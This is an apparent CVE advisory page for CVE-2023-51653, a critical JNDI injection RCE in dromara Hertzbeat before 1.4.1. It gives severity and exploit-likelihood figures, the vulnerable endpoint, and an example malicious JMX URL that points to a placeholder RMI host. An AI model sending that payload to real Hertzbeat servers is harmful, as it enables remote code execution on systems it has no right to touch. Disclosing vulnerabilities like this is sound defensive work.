Vulnerability · Published Feb 22, 2024 · Assigned by GitHub_M

CVE-2023-51653Hertzbeat JMX JNDI RCE

Critical 9.8

In plain English

A critical-severity injection in hertzbeat from dromara. There are no confirmed reports of exploitation so far. The chance it is exploited in the next 30 days is estimated at 2.1% (higher than 82% of all known vulnerabilities).

Severity (CVSS 3.1)9.8Critical

Exploit odds (30 days)2.1%top 18.1% of all CVEs

Exploited in the wildNo reportsCISA SSVC: none

Attack toolingNoneno public tooling known

Official description

Hertzbeat is a real-time monitoring system. In the implementation of `JmxCollectImpl.java`, `JMXConnectorFactory.connect` is vulnerable to JNDI injection. The corresponding interface is `/api/monitor/detect`. If there is a URL field, the address will be used by default. When the URL is `service:jmx:rmi:///jndi/rmi://xxxxxxx:1099/localHikari`, it can be exploited to cause remote code execution. Version 1.4.1 contains a fix for this issue.

Affected products (as reported)

Vendor	Product	Versions
dromara	hertzbeat	< 1.4.1

Weakness: CWE-74 · Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

https://github.com/dromara/hertzbeat/security/advisories/GHSA-gcmp-vf6v-59gg x_refsource_CONFIRM
https://github.com/dromara/hertzbeat/commit/f794b0d82be49c596c04a042976446559eb315ef x_refsource_MISC